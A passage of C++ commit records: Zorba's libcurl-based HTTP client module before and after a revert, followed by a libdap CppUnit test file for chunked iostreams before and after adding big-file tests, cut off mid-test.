const DynamicContext* aDynamicContext,\n ItemFactory* aFactory)\n {\n CURL* lCURL = curl_easy_init();\n \n Item lRequest;\n Item lHref;\n Item lContent;\n\n Iterator_t arg0_iter = args[0]->getIterator();\n arg0_iter->open();\n bool lReqSet = arg0_iter->next(lRequest);\n arg0_iter->close();\n Iterator_t arg1_iter = args[1]->getIterator();\n arg1_iter->open();\n bool lHrefSet = arg1_iter->next(lHref);\n arg1_iter->close();\n\n std::string lData;\n\n std::auto_ptr<HttpRequestHandler> lHandler;\n std::auto_ptr<RequestParser> lParser;\n struct curl_slist* lHeaderList = 0;\n\n ErrorThrower thrower(aFactory, &lHeaderList);\n\n if (lReqSet) {\n lHandler.reset(new HttpRequestHandler(lCURL, args[2]));\n lParser.reset(new RequestParser(lHandler.get()));\n lParser->parse(lRequest);\n }\n if (lHrefSet) {\n curl_easy_setopt(lCURL, CURLOPT_URL, lHref.getStringValue().c_str());\n }\n curl_easy_setopt(lCURL, CURLOPT_USERAGENT, \"libcurl-agent\/1.0\");\n \/\/curl_easy_setopt(lCURL, CURLOPT_PROXY, \"localhost:8888\");\n#ifdef WIN32\n std::string caCertPath;\n set_cacert(lCURL, caCertPath);\n#endif\n HttpResponseHandler lRespHandler(aFactory, lHeaderList);\n String lOverrideContentType;\n if (lHandler.get())\n lHandler->getOverrideContentType(lOverrideContentType);\n bool lStatusOnly =\n lHandler.get() == NULL ? false : (lHandler->isStatusOnly() || lHandler->isHeadRequest());\n \/\/ This gives the ownership of lCurl to the HttpResponseParser\n std::auto_ptr<HttpResponseParser> lRespParser(new HttpResponseParser(lRespHandler, lCURL, thrower,\n lOverrideContentType.c_str(), lStatusOnly));\n int lRetCode = lRespParser->parse();\n\n if (lRetCode) {\n thrower.raiseException(\"http:\/\/expath.org\/ns\/error\", \"HC001\", \"An HTTP error occurred\");\n }\n\n \/\/ If the Parser is \"self contained\", that means it didn't create any\n \/\/ objects with a lifecycle longer than itself; therefore we should free\n \/\/ it (by letting auto_ptr delete it). If the Parser is not self contained,\n \/\/ then it will have arranged for some other memory manager to free it\n \/\/ later when appropriate; therefore we should NOT let auto_ptr delete it\n \/\/ now.\n if ( ! lRespParser->selfContained()) {\n lRespParser.release();\n }\n return ItemSequence_t(lRespHandler.releaseResult());\n }\n\n ItemSequence_t \n HttpSendFunction::evaluate(const ExternalFunction::Arguments_t& args,\n const StaticContext* aStaticContext, const DynamicContext* aDynamicContext) const \n {\n return general_evaluate(args, aStaticContext, aDynamicContext, theFactory);\n }\n\n HttpClientModule::~HttpClientModule()\n {\n for (FuncMap_t::const_iterator lIter = theFunctions.begin();\n lIter != theFunctions.end(); ++lIter) {\n delete lIter->second;\n }\n theFunctions.clear();\n }\n } \/\/ namespace http_request\n} \/\/ namespace zorba\n\n#ifdef WIN32\n# define DLL_EXPORT __declspec(dllexport)\n#else\n# define DLL_EXPORT __attribute__ ((visibility(\"default\")))\n#endif\n\nextern \"C\" DLL_EXPORT zorba::ExternalModule* createModule() {\n return new zorba::http_client::HttpClientModule();\n}\n\n<commit_msg>Reverted change to http_client<commit_after>\/*\n * Copyright 2006-2008 The FLWOR Foundation.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <curl\/curl.h>\n#include <map>\n#include <zorba\/zorba.h>\n#include <zorba\/serializer.h>\n#include <zorba\/external_module.h>\n#include <zorba\/function.h>\n#include <zorba\/empty_sequence.h>\n#include <zorba\/user_exception.h>\n\n#include \"http_request_handler.h\"\n#include \"request_parser.h\"\n#include \"http_response_handler.h\"\n#include \"http_response_parser.h\"\n\n#ifdef WIN32\n# include <Windows.h>\n# define MAX_BUF_SIZE 2048\n#endif\n\nnamespace zorba {\n\n namespace http_client {\n#ifdef WIN32\n\t\tstatic void set_cacert(CURL* lCurl, std::string aPath) {\n\t\t\tTCHAR path[MAX_BUF_SIZE];\n\t\t\tint r = GetModuleFileName(NULL, path, 2048);\n\t\t\tif (r == -1)\n\t\t\t\treturn;\n#\tifdef UNICODE\n\t\t\tchar buf[MAX_BUF_SIZE];\n\t\t\tmemset(buf, 0, MAX_BUF_SIZE);\n\t\t\tfor (int i = 0; i <= r; ++i) {\n\t\t\t\tbuf[i] = (char) path[i];\n\t\t\t}\n\t\t\tstd::string lPath(buf);\n#\telse\n\t\t\tstd::string lPath(path);\n#\tendif\n\t\t\taPath = lPath.substr(0, lPath.rfind('\\\\'));\n\t\t\taPath += \"\\\\cacert.pem\";\n\t\t\tcurl_easy_setopt(lCurl, CURLOPT_CAINFO, aPath.c_str());\n\t\t}\n#endif \/\/WIN32\n\n class HttpSendFunction : public ContextualExternalFunction {\n protected:\n const ExternalModule* theModule;\n ItemFactory* theFactory;\n \n public:\n HttpSendFunction(const ExternalModule* aModule) \n : theModule(aModule),\n theFactory(Zorba::getInstance(0)->getItemFactory()) {}\n \n virtual ~HttpSendFunction() {}\n \n public:\n virtual String\n getURI() const { return theModule->getURI(); }\n \n virtual String\n getLocalName() const { return \"http-sequential-impl\"; }\n \n virtual ItemSequence_t \n evaluate(const ExternalFunction::Arguments_t& args,\n const StaticContext* aStaticContext, const DynamicContext* aDynamicContext)\n const;\n };\n \n class HttpReadFunction : public HttpSendFunction {\n public:\n HttpReadFunction(const ExternalModule* aModule) \n : HttpSendFunction(aModule) {}\n \n virtual ~HttpReadFunction() {}\n \n public:\n virtual String\n getLocalName() const { return \"http-nondeterministic-impl\"; }\n \n }; \n \n class HttpClientModule : public ExternalModule {\n protected:\n class ltstr\n {\n public:\n bool operator()(const String& s1, const String& s2) const\n {\n return s1.compare(s2) < 0;\n }\n };\n \n typedef std::map<String, ExternalFunction*, ltstr> FuncMap_t;\n \n FuncMap_t theFunctions;\n \n public:\n virtual ~HttpClientModule();\n \n HttpClientModule() : theModuleUri(\"http:\/\/www.zorba-xquery.com\/modules\/http-client\")\n {\n for (FuncMap_t::const_iterator lIter = theFunctions.begin();\n lIter != theFunctions.end(); ++lIter) {\n delete lIter->second;\n }\n theFunctions.clear();\n }\n \n virtual String\n getURI() const { return theModuleUri; }\n \n virtual ExternalFunction*\n getExternalFunction(const String& aLocalname)\n {\n ExternalFunction*& lFunc = theFunctions[aLocalname];\n if (!lFunc) {\n if (aLocalname == \"http-sequential-impl\") {\n lFunc = new HttpSendFunction(this);\n } else if (aLocalname == \"http-nondeterministic-impl\") {\n lFunc = new HttpReadFunction(this);\n } \n }\n return lFunc;\n }\n \n virtual void\n destroy()\n {\n if (!dynamic_cast<HttpClientModule*>(this)) {\n return;\n }\n delete this;\n }\n \n private:\n String theModuleUri;\n };\n\n ItemSequence_t\n general_evaluate(\n const ExternalFunction::Arguments_t& args,\n const StaticContext* aStaticContext,\n const DynamicContext* aDynamicContext,\n ItemFactory* aFactory)\n {\n CURL* lCURL = curl_easy_init();\n \n Item lRequest;\n Item lHref;\n Item lContent;\n\n Iterator_t arg0_iter = args[0]->getIterator();\n arg0_iter->open();\n bool lReqSet = arg0_iter->next(lRequest);\n arg0_iter->close();\n Iterator_t arg1_iter = args[1]->getIterator();\n arg1_iter->open();\n bool lHrefSet = arg1_iter->next(lHref);\n arg1_iter->close();\n\n std::string lData;\n\n std::auto_ptr<HttpRequestHandler> lHandler;\n std::auto_ptr<RequestParser> lParser;\n struct curl_slist* lHeaderList = 0;\n\n ErrorThrower thrower(aFactory, &lHeaderList);\n\n if (lReqSet) {\n lHandler.reset(new HttpRequestHandler(lCURL, args[2]));\n lParser.reset(new RequestParser(lHandler.get()));\n lParser->parse(lRequest);\n }\n if (lHrefSet) {\n curl_easy_setopt(lCURL, CURLOPT_URL, lHref.getStringValue().c_str());\n }\n curl_easy_setopt(lCURL, CURLOPT_USERAGENT, \"libcurl-agent\/1.0\");\n \/\/curl_easy_setopt(lCURL, CURLOPT_PROXY, \"localhost:8888\");\n#ifdef WIN32\n std::string caCertPath;\n set_cacert(lCURL, caCertPath);\n#endif\n HttpResponseHandler lRespHandler(aFactory, lHeaderList);\n String lOverrideContentType;\n if (lHandler.get())\n lHandler->getOverrideContentType(lOverrideContentType);\n bool lStatusOnly =\n lHandler.get() == NULL ? false : (lHandler->isStatusOnly() || lHandler->isHeadRequest());\n \/\/ This gives the ownership of lCurl to the HttpResponseParser\n std::auto_ptr<HttpResponseParser> lRespParser(new HttpResponseParser(lRespHandler, lCURL, thrower,\n lOverrideContentType.c_str(), lStatusOnly));\n int lRetCode = lRespParser->parse();\n\n if (lRetCode) {\n thrower.raiseException(\"http:\/\/expath.org\/ns\/error\", \"HC001\", \"An HTTP error occurred\");\n }\n\n \/\/ If the Parser is \"self contained\", that means it didn't create any\n \/\/ objects with a lifecycle longer than itself; therefore we should free\n \/\/ it (by letting auto_ptr delete it). If the Parser is not self contained,\n \/\/ then it will have arranged for some other memory manager to free it\n \/\/ later when appropriate; therefore we should NOT let auto_ptr delete it\n \/\/ now.\n if ( ! lRespParser->selfContained()) {\n lRespParser.release();\n }\n return ItemSequence_t(lRespHandler.releaseResult());\n }\n\n ItemSequence_t \n HttpSendFunction::evaluate(const ExternalFunction::Arguments_t& args,\n const StaticContext* aStaticContext, const DynamicContext* aDynamicContext) const \n {\n return general_evaluate(args, aStaticContext, aDynamicContext, theFactory);\n }\n\n HttpClientModule::~HttpClientModule()\n {\n for (FuncMap_t::const_iterator lIter = theFunctions.begin();\n lIter != theFunctions.end(); ++lIter) {\n delete lIter->second;\n }\n theFunctions.clear();\n }\n } \/\/ namespace http_request\n} \/\/ namespace zorba\n\n#ifdef WIN32\n# define DLL_EXPORT __declspec(dllexport)\n#else\n# define DLL_EXPORT __attribute__ ((visibility(\"default\")))\n#endif\n\nextern \"C\" DLL_EXPORT zorba::ExternalModule* createModule() {\n return new zorba::http_client::HttpClientModule();\n}\n\n<|endoftext|>"} {"text":"<commit_before>\n\/\/ -*- mode: c++; c-basic-offset:4 -*-\n\n\/\/ This file is part of libdap, A C++ implementation of the OPeNDAP Data\n\/\/ Access Protocol.\n\n\/\/ Copyright (c) 2013 OPeNDAP, Inc.\n\/\/ Author: James Gallagher <jgallagher@opendap.org>\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\/\/\n\/\/ You can contact OPeNDAP, Inc. at PO Box 112, Saunderstown, RI. 02874-0112.\n\n#include <cppunit\/TextTestRunner.h>\n#include <cppunit\/extensions\/TestFactoryRegistry.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n\n\/\/#define DODS_DEBUG\n\n#include <fcntl.h>\n#include <stdio.h>\n\n#include <iostream>\n#include <fstream>\n#include <string>\n\n#include \"GetOpt.h\"\n\n#include \"chunked_ostream.h\"\n#include \"chunked_istream.h\"\n\n#include \"InternalErr.h\"\n#include \"test_config.h\"\n#include \"debug.h\"\n\nstatic bool debug = false;\n\n#undef DBG\n#define DBG(x) do { if (debug) (x); } while(false);\n\nusing namespace std;\nusing namespace CppUnit;\nusing namespace libdap;\n\n\/**\n * The intent is to test writing to and reading from a chunked iostream,\n * using various combinations of chunk\/buffer sizes and character red\/write\n * sizes. There are three write functions and three read functions and\n * all combinations are tested.\n *\/\nclass chunked_iostream_test: public TestFixture {\nprivate:\n\t\/\/ This should be big enough to do meaningful timing tests\n\tstring big_file;\n\t\/\/ This should be smaller than a single buffer\n\tstring small_file;\n\t\/\/ A modest sized text file - makes looking at the results easier\n\tstring text_file;\npublic:\n chunked_iostream_test()\n {\n }\n ~chunked_iostream_test()\n {\n }\n\n void setUp()\n {\n \tbig_file = \"test_big_binary_file.bin\";\n \tsmall_file = \"test_small_text_file.txt\";\n \ttext_file = \"test_text_file.txt\";\n }\n\n void tearDown()\n {\n }\n\n void\n single_char_write(const string &file, int buf_size)\n {\n \tfstream infile(file.c_str(), ios::in|ios::binary);\n \tif (!infile.good())\n \t\tCPPUNIT_FAIL(\"File not open or eof\");\n\n \tstring out = file + \".chunked\";\n \tfstream outfile(out.c_str(), ios::out|ios::binary);\n\n \tchunked_ostream chunked_outfile(outfile, buf_size);\n\n \tchar c;\n \tinfile.read(&c, 1);\n \tint num = infile.gcount();\n \twhile (num > 0 && !infile.eof()) {\n \t\tchunked_outfile.write(&c, num);\n \t\tinfile.read(&c, 1);\n \t\tnum = infile.gcount();\n \t}\n\n \tif (num > 0 && !infile.bad()) {\n \t\tchunked_outfile.write(&c, num);\n \t}\n\n \tchunked_outfile.flush();\n }\n\n void\n write_128char_data(const string &file, int buf_size)\n {\n \tfstream infile(file.c_str(), ios::in|ios::binary);\n \tif (!infile.good())\n \t\tCPPUNIT_FAIL(\"File not open or eof\");\n\n \tstring out = file + \".chunked\";\n \tfstream outfile(out.c_str(), ios::out|ios::binary);\n\n \tchunked_ostream chunked_outfile(outfile, buf_size);\n\n \tchar str[128];\n \tinfile.read(str, 128);\n \tint num = infile.gcount();\n \twhile (num > 0 && !infile.eof()) {\n \t\tchunked_outfile.write(str, num);\n \t\tinfile.read(str, 128);\n \t\tnum = infile.gcount();\n \t}\n\n \tif (num > 0 && !infile.bad()) {\n \t\tchunked_outfile.write(str, num);\n \t}\n\n chunked_outfile.flush();\n }\n\n void\n write_24char_data_with_error_option(const string &file, int buf_size, bool error = false)\n {\n \tfstream infile(file.c_str(), ios::in|ios::binary);\n \tif (!infile.good())\n \t\tCPPUNIT_FAIL(\"File not open or eof\");\n\n \tstring out = file + \".chunked\";\n \tfstream outfile(out.c_str(), ios::out|ios::binary);\n\n \tchunked_ostream chunked_outfile(outfile, buf_size);\n\n \ttry {\n \t\tchar str[24];\n \t\tinfile.read(str, 24);\n \t\tint num = infile.gcount();\n \t\tif (num > 0 && !infile.eof()) {\n \t\t\tchunked_outfile.write(str, num);\n \t\t\tchunked_outfile.flush();\n \t\t}\n\n \t\tinfile.read(str, 24);\n \t\tnum = infile.gcount();\n \t\tif (num > 0 && !infile.eof()) chunked_outfile.write(str, num);\n\n \t\t\/\/ Send an error chunk; the 24 bytes read here are lost...\n \t\tif (error)\n \t\t\tthrow InternalErr(__FILE__, __LINE__, \"Testing error transmission\");\n\n \t\tinfile.read(str, 24);\n \t\tnum = infile.gcount();\n \t\twhile (num > 0 && !infile.eof()) {\n \t\t\tchunked_outfile.write(str, num);\n \t\t\tinfile.read(str, 24);\n \t\t\tnum = infile.gcount();\n \t\t}\n\n \t\tif (num > 0 && !infile.bad()) {\n \t\t\tchunked_outfile.write(str, num);\n \t\t}\n\n chunked_outfile.flush();\n \t}\n \tcatch (Error &e) {\n \t\tchunked_outfile.write_err_chunk(e.get_error_message());\n \t}\n }\n\n void\n single_char_read(const string &file, int buf_size)\n {\n \tstring in = file + \".chunked\";\n \tfstream infile(in.c_str(), ios::in|ios::binary);\n \tif (!infile.good())\n \t\tCPPUNIT_FAIL(\"File not open or eof\");\n \tchunked_istream chunked_infile(infile, buf_size, 0x00);\n\n \tstring out = file + \".plain\";\n \tfstream outfile(out.c_str(), ios::out|ios::binary);\n\n \tchar c;\n \tint count = 1;\n \tchunked_infile.read(&c, 1);\n \tint num = chunked_infile.gcount();\n \tDBG(cerr << \"num: \" << count++ << endl);\n \twhile (num > 0 && !chunked_infile.eof()) {\n \t\toutfile.write(&c, num);\n \t\tchunked_infile.read(&c, 1);\n \t\tnum = chunked_infile.gcount();\n DBG(cerr << \"num: \" << count++ << endl);\n \t}\n\n \tif (num > 0 && !chunked_infile.bad())\n \t outfile.write(&c, num);\n\n \toutfile.flush();\n }\n\n void\n read_128char_data(const string &file, int buf_size)\n {\n \tstring in = file + \".chunked\";\n \tfstream infile(in.c_str(), ios::in|ios::binary);\n \tif (!infile.good())\n \t\tcerr << \"File not open or eof\" << endl;\n \tchunked_istream chunked_infile(infile, buf_size);\n\n \tstring out = file + \".plain\";\n \tfstream outfile(out.c_str(), ios::out|ios::binary);\n\n \tchar str[128];\n \tint count = 1;\n \tchunked_infile.read(str, 128);\n \tint num = chunked_infile.gcount();\n \tDBG(cerr << \"num: \" << num << \", \" << count++ << endl);\n \twhile (num > 0 && !chunked_infile.eof()) {\n \t\toutfile.write(str, num);\n \t\tchunked_infile.read(str, 128);\n \t\tnum = chunked_infile.gcount();\n \t\tDBG(cerr << \"num: \" << num << \", \" << count++ << endl);\n \t}\n\n \tif (num > 0 && !chunked_infile.bad()) {\n \t\toutfile.write(str, num);\n \t}\n\n \toutfile.flush();\n }\n\n void\n read_24char_data_with_error_option(const string &file, int buf_size)\n {\n \tstring in = file + \".chunked\";\n \tfstream infile(in.c_str(), ios::in|ios::binary);\n \tif (!infile.good())\n \t\tcerr << \"File not open or eof\" << endl;\n \tchunked_istream chunked_infile(infile, buf_size);\n\n \tstring out = file + \".plain\";\n \tfstream outfile(out.c_str(), ios::out|ios::binary);\n\n \ttry {\n \t\tchar str[24];\n \t\tchunked_infile.read(str, 24);\n \t\tint num = chunked_infile.gcount();\n \t\tif (num > 0 && !chunked_infile.eof()) {\n \t\t\toutfile.write(str, num);\n \t\t\toutfile.flush();\n \t\t}\n\n \t\tchunked_infile.read(str, 24);\n \t\tnum = chunked_infile.gcount();\n \t\twhile (num > 0 && !chunked_infile.eof()) {\n \t\t\toutfile.write(str, num);\n \t\t\tchunked_infile.read(str, 24);\n \t\t\tnum = chunked_infile.gcount();\n \t\t}\n\n \t\tif (num > 0 && !chunked_infile.bad()) {\n \t\t\toutfile.write(str, num);\n \t\t}\n\n \t\toutfile.flush();\n \t}\n \tcatch (Error &e) {\n \t\tcerr << \"Error chunk found: \" << e.get_error_message() << endl;\n \t}\n }\n\n \/\/ these are the tests\n void test_write_1_read_1_small_file() {\n \tsingle_char_write(small_file, 32);\n \tsingle_char_read(small_file, 32);\n \tstring cmp = \"cmp \" + small_file + \" \" + small_file + \".plain\";\n \tCPPUNIT_ASSERT(system(cmp.c_str()) == 0);\n }\n\n void test_write_1_read_1_text_file() {\n \tsingle_char_write(text_file, 32);\n \tsingle_char_read(text_file, 32);\n \tstring cmp = \"cmp \" + text_file + \" \" + text_file + \".plain\";\n \tCPPUNIT_ASSERT(system(cmp.c_str()) == 0);\n }\n\n void test_write_1_read_1_big_file() {\n \tsingle_char_write(big_file, 28);\n \tsingle_char_read(big_file, 28);\n \tstring cmp = \"cmp \" + big_file + \" \" + big_file + \".plain\";\n \tCPPUNIT_ASSERT(system(cmp.c_str()) == 0);\n }\n\n \/\/ these are the tests\n void test_write_1_read_128_small_file() {\n single_char_write(small_file, 32);\n read_128char_data(small_file, 32);\n string cmp = \"cmp \" + small_file + \" \" + small_file + \".plain\";\n CPPUNIT_ASSERT(system(cmp.c_str()) == 0);\n }\n\n void test_write_1_read_128_text_file() {\n single_char_write(text_file, 32);\n read_128char_data(text_file, 32);\n string cmp = \"cmp \" + text_file + \" \" + text_file + \".plain\";\n CPPUNIT_ASSERT(system(cmp.c_str()) == 0);\n }\n\n void test_write_1_read_128_big_file() {\n single_char_write(big_file, 28);\n read_128char_data(big_file, 28);\n string cmp = \"cmp \" + big_file + \" \" + big_file + \".plain\";\n CPPUNIT_ASSERT(system(cmp.c_str()) == 0);\n }\n\n CPPUNIT_TEST_SUITE(chunked_iostream_test);\n\n CPPUNIT_TEST(test_write_1_read_1_small_file);\n CPPUNIT_TEST(test_write_1_read_1_text_file);\n CPPUNIT_TEST(test_write_1_read_1_big_file);\n\n CPPUNIT_TEST(test_write_1_read_128_small_file);\n CPPUNIT_TEST(test_write_1_read_128_text_file);\n CPPUNIT_TEST(test_write_1_read_128_big_file);\n\n CPPUNIT_TEST_SUITE_END();\n};\n\nCPPUNIT_TEST_SUITE_REGISTRATION(chunked_iostream_test);\n\nint\nmain(int argc, char *argv[])\n{\n GetOpt getopt(argc, argv, \"d\");\n char option_char;\n\n while ((option_char = getopt()) != EOF)\n switch (option_char) {\n case 'd':\n debug = 1; \/\/ debug is a static global\n break;\n default:\n break;\n }\n\n CppUnit::TextTestRunner runner;\n runner.addTest(CppUnit::TestFactoryRegistry::getRegistry().makeTest());\n\n bool wasSuccessful = true;\n string test = \"\";\n int i = getopt.optind;\n if (i == argc) {\n \/\/ run them all\n wasSuccessful = runner.run(\"\");\n }\n else {\n while (i < argc) {\n test = string(\"chunked_iostream_test::\") + argv[i++];\n if (debug)\n cerr << \"Running \" << test << endl;\n wasSuccessful = wasSuccessful && runner.run(test);\n }\n }\n\n return wasSuccessful ? 0 : 1;\n}\n<commit_msg>added big_file_2 tests<commit_after>\n\/\/ -*- mode: c++; c-basic-offset:4 -*-\n\n\/\/ This file is part of libdap, A C++ implementation of the OPeNDAP Data\n\/\/ Access Protocol.\n\n\/\/ Copyright (c) 2013 OPeNDAP, Inc.\n\/\/ Author: James Gallagher <jgallagher@opendap.org>\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\/\/\n\/\/ You can contact OPeNDAP, Inc. at PO Box 112, Saunderstown, RI. 02874-0112.\n\n#include <cppunit\/TextTestRunner.h>\n#include <cppunit\/extensions\/TestFactoryRegistry.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n\n\/\/#define DODS_DEBUG\n\n#include <fcntl.h>\n#include <stdio.h>\n\n#include <iostream>\n#include <fstream>\n#include <string>\n\n#include \"GetOpt.h\"\n\n#include \"chunked_ostream.h\"\n#include \"chunked_istream.h\"\n\n#include \"InternalErr.h\"\n#include \"test_config.h\"\n#include \"debug.h\"\n\nstatic bool debug = false;\n\n#undef DBG\n#define DBG(x) do { if (debug) (x); } while(false);\n\nusing namespace std;\nusing namespace CppUnit;\nusing namespace libdap;\n\n\/**\n * The intent is to test writing to and reading from a chunked iostream,\n * using various combinations of chunk\/buffer sizes and character red\/write\n * sizes. There are three write functions and three read functions and\n * all combinations are tested.\n *\/\nclass chunked_iostream_test: public TestFixture {\nprivate:\n\t\/\/ This should be big enough to do meaningful timing tests\n\tstring big_file, big_file_2;\n\t\/\/ This should be smaller than a single buffer\n\tstring small_file;\n\t\/\/ A modest sized text file - makes looking at the results easier\n\tstring text_file;\npublic:\n chunked_iostream_test()\n {\n }\n ~chunked_iostream_test()\n {\n }\n\n void setUp()\n {\n \tbig_file = \"test_big_binary_file.bin\";\n \tbig_file_2 = \"test_big_binary_file_2.bin\";\n \tsmall_file = \"test_small_text_file.txt\";\n \ttext_file = \"test_text_file.txt\";\n }\n\n void tearDown()\n {\n }\n\n void\n single_char_write(const string &file, int buf_size)\n {\n \tfstream infile(file.c_str(), ios::in|ios::binary);\n \tif (!infile.good())\n \t\tCPPUNIT_FAIL(\"File not open or eof\");\n\n \tstring out = file + \".chunked\";\n \tfstream outfile(out.c_str(), ios::out|ios::binary);\n\n \tchunked_ostream chunked_outfile(outfile, buf_size);\n\n \tchar c;\n \tinfile.read(&c, 1);\n \tint num = infile.gcount();\n \twhile (num > 0 && !infile.eof()) {\n \t\tchunked_outfile.write(&c, num);\n \t\tinfile.read(&c, 1);\n \t\tnum = infile.gcount();\n \t}\n\n \tif (num > 0 && !infile.bad()) {\n \t\tchunked_outfile.write(&c, num);\n \t}\n\n \tchunked_outfile.flush();\n }\n\n void\n write_128char_data(const string &file, int buf_size)\n {\n \tfstream infile(file.c_str(), ios::in|ios::binary);\n \tif (!infile.good())\n \t\tCPPUNIT_FAIL(\"File not open or eof\");\n\n \tstring out = file + \".chunked\";\n \tfstream outfile(out.c_str(), ios::out|ios::binary);\n\n \tchunked_ostream chunked_outfile(outfile, buf_size);\n\n \tchar str[128];\n \tinfile.read(str, 128);\n \tint num = infile.gcount();\n \twhile (num > 0 && !infile.eof()) {\n \t\tchunked_outfile.write(str, num);\n \t\tinfile.read(str, 128);\n \t\tnum = infile.gcount();\n \t}\n\n \tif (num > 0 && !infile.bad()) {\n \t\tchunked_outfile.write(str, num);\n \t}\n\n chunked_outfile.flush();\n }\n\n void\n write_24char_data_with_error_option(const string &file, int buf_size, bool error = false)\n {\n \tfstream infile(file.c_str(), ios::in|ios::binary);\n \tif (!infile.good())\n \t\tCPPUNIT_FAIL(\"File not open or eof\");\n\n \tstring out = file + \".chunked\";\n \tfstream outfile(out.c_str(), ios::out|ios::binary);\n\n \tchunked_ostream chunked_outfile(outfile, buf_size);\n\n \ttry {\n \t\tchar str[24];\n \t\tinfile.read(str, 24);\n \t\tint num = infile.gcount();\n \t\tif (num > 0 && !infile.eof()) {\n \t\t\tchunked_outfile.write(str, num);\n \t\t\tchunked_outfile.flush();\n \t\t}\n\n \t\tinfile.read(str, 24);\n \t\tnum = infile.gcount();\n \t\tif (num > 0 && !infile.eof()) chunked_outfile.write(str, num);\n\n \t\t\/\/ Send an error chunk; the 24 bytes read here are lost...\n \t\tif (error)\n \t\t\tthrow InternalErr(__FILE__, __LINE__, \"Testing error transmission\");\n\n \t\tinfile.read(str, 24);\n \t\tnum = infile.gcount();\n \t\twhile (num > 0 && !infile.eof()) {\n \t\t\tchunked_outfile.write(str, num);\n \t\t\tinfile.read(str, 24);\n \t\t\tnum = infile.gcount();\n \t\t}\n\n \t\tif (num > 0 && !infile.bad()) {\n \t\t\tchunked_outfile.write(str, num);\n \t\t}\n\n chunked_outfile.flush();\n \t}\n \tcatch (Error &e) {\n \t\tchunked_outfile.write_err_chunk(e.get_error_message());\n \t}\n }\n\n void\n single_char_read(const string &file, int buf_size)\n {\n \tstring in = file + \".chunked\";\n \tfstream infile(in.c_str(), ios::in|ios::binary);\n \tif (!infile.good())\n \t\tCPPUNIT_FAIL(\"File not open or eof\");\n \tchunked_istream chunked_infile(infile, buf_size, 0x00);\n\n \tstring out = file + \".plain\";\n \tfstream outfile(out.c_str(), ios::out|ios::binary);\n\n \tchar c;\n \tint count = 1;\n \tchunked_infile.read(&c, 1);\n \tint num = chunked_infile.gcount();\n \tDBG(cerr << \"num: \" << num << \", \" << count++ << endl);\n \twhile (num > 0 && !chunked_infile.eof()) {\n \t\toutfile.write(&c, num);\n \t\tchunked_infile.read(&c, 1);\n \t\tnum = chunked_infile.gcount();\n DBG(cerr << \"num: \" << num << \", \" << count++ << endl);\n \t}\n\n \tDBG(cerr << \"eof is :\" << chunked_infile.eof() << \", num: \" << num << endl);\n\n \tif (num > 0 && !chunked_infile.bad())\n \t outfile.write(&c, num);\n\n \toutfile.flush();\n }\n\n void\n read_128char_data(const string &file, int buf_size)\n {\n \tstring in = file + \".chunked\";\n \tfstream infile(in.c_str(), ios::in|ios::binary);\n \tif (!infile.good())\n \t\tcerr << \"File not open or eof\" << endl;\n \tchunked_istream chunked_infile(infile, buf_size);\n\n \tstring out = file + \".plain\";\n \tfstream outfile(out.c_str(), ios::out|ios::binary);\n\n \tchar str[128];\n \tint count = 1;\n \tchunked_infile.read(str, 128);\n \tint num = chunked_infile.gcount();\n \tDBG(cerr << \"num: \" << num << \", \" << count++ << endl);\n \twhile (num > 0 && !chunked_infile.eof()) {\n \t\toutfile.write(str, num);\n \t\tchunked_infile.read(str, 128);\n \t\tnum = chunked_infile.gcount();\n \t\tDBG(cerr << \"num: \" << num << \", \" << count++ << endl);\n \t}\n\n \tif (num > 0 && !chunked_infile.bad()) {\n \t\toutfile.write(str, num);\n \t}\n\n \toutfile.flush();\n }\n\n void\n read_24char_data_with_error_option(const string &file, int buf_size)\n {\n \tstring in = file + \".chunked\";\n \tfstream infile(in.c_str(), ios::in|ios::binary);\n \tif (!infile.good())\n \t\tcerr << \"File not open or eof\" << endl;\n \tchunked_istream chunked_infile(infile, buf_size);\n\n \tstring out = file + \".plain\";\n \tfstream outfile(out.c_str(), ios::out|ios::binary);\n\n \ttry {\n \t\tchar str[24];\n \t\tchunked_infile.read(str, 24);\n \t\tint num = chunked_infile.gcount();\n \t\tif (num > 0 && !chunked_infile.eof()) {\n \t\t\toutfile.write(str, num);\n \t\t\toutfile.flush();\n \t\t}\n\n \t\tchunked_infile.read(str, 24);\n \t\tnum = chunked_infile.gcount();\n \t\twhile (num > 0 && !chunked_infile.eof()) {\n \t\t\toutfile.write(str, num);\n \t\t\tchunked_infile.read(str, 24);\n \t\t\tnum = chunked_infile.gcount();\n \t\t}\n\n \t\tif (num > 0 && !chunked_infile.bad()) {\n \t\t\toutfile.write(str, num);\n \t\t}\n\n \t\toutfile.flush();\n \t}\n \tcatch (Error &e) {\n \t\tcerr << \"Error chunk found: \" << e.get_error_message() << endl;\n \t}\n }\n\n \/\/ these are the tests\n void test_write_1_read_1_small_file() {\n 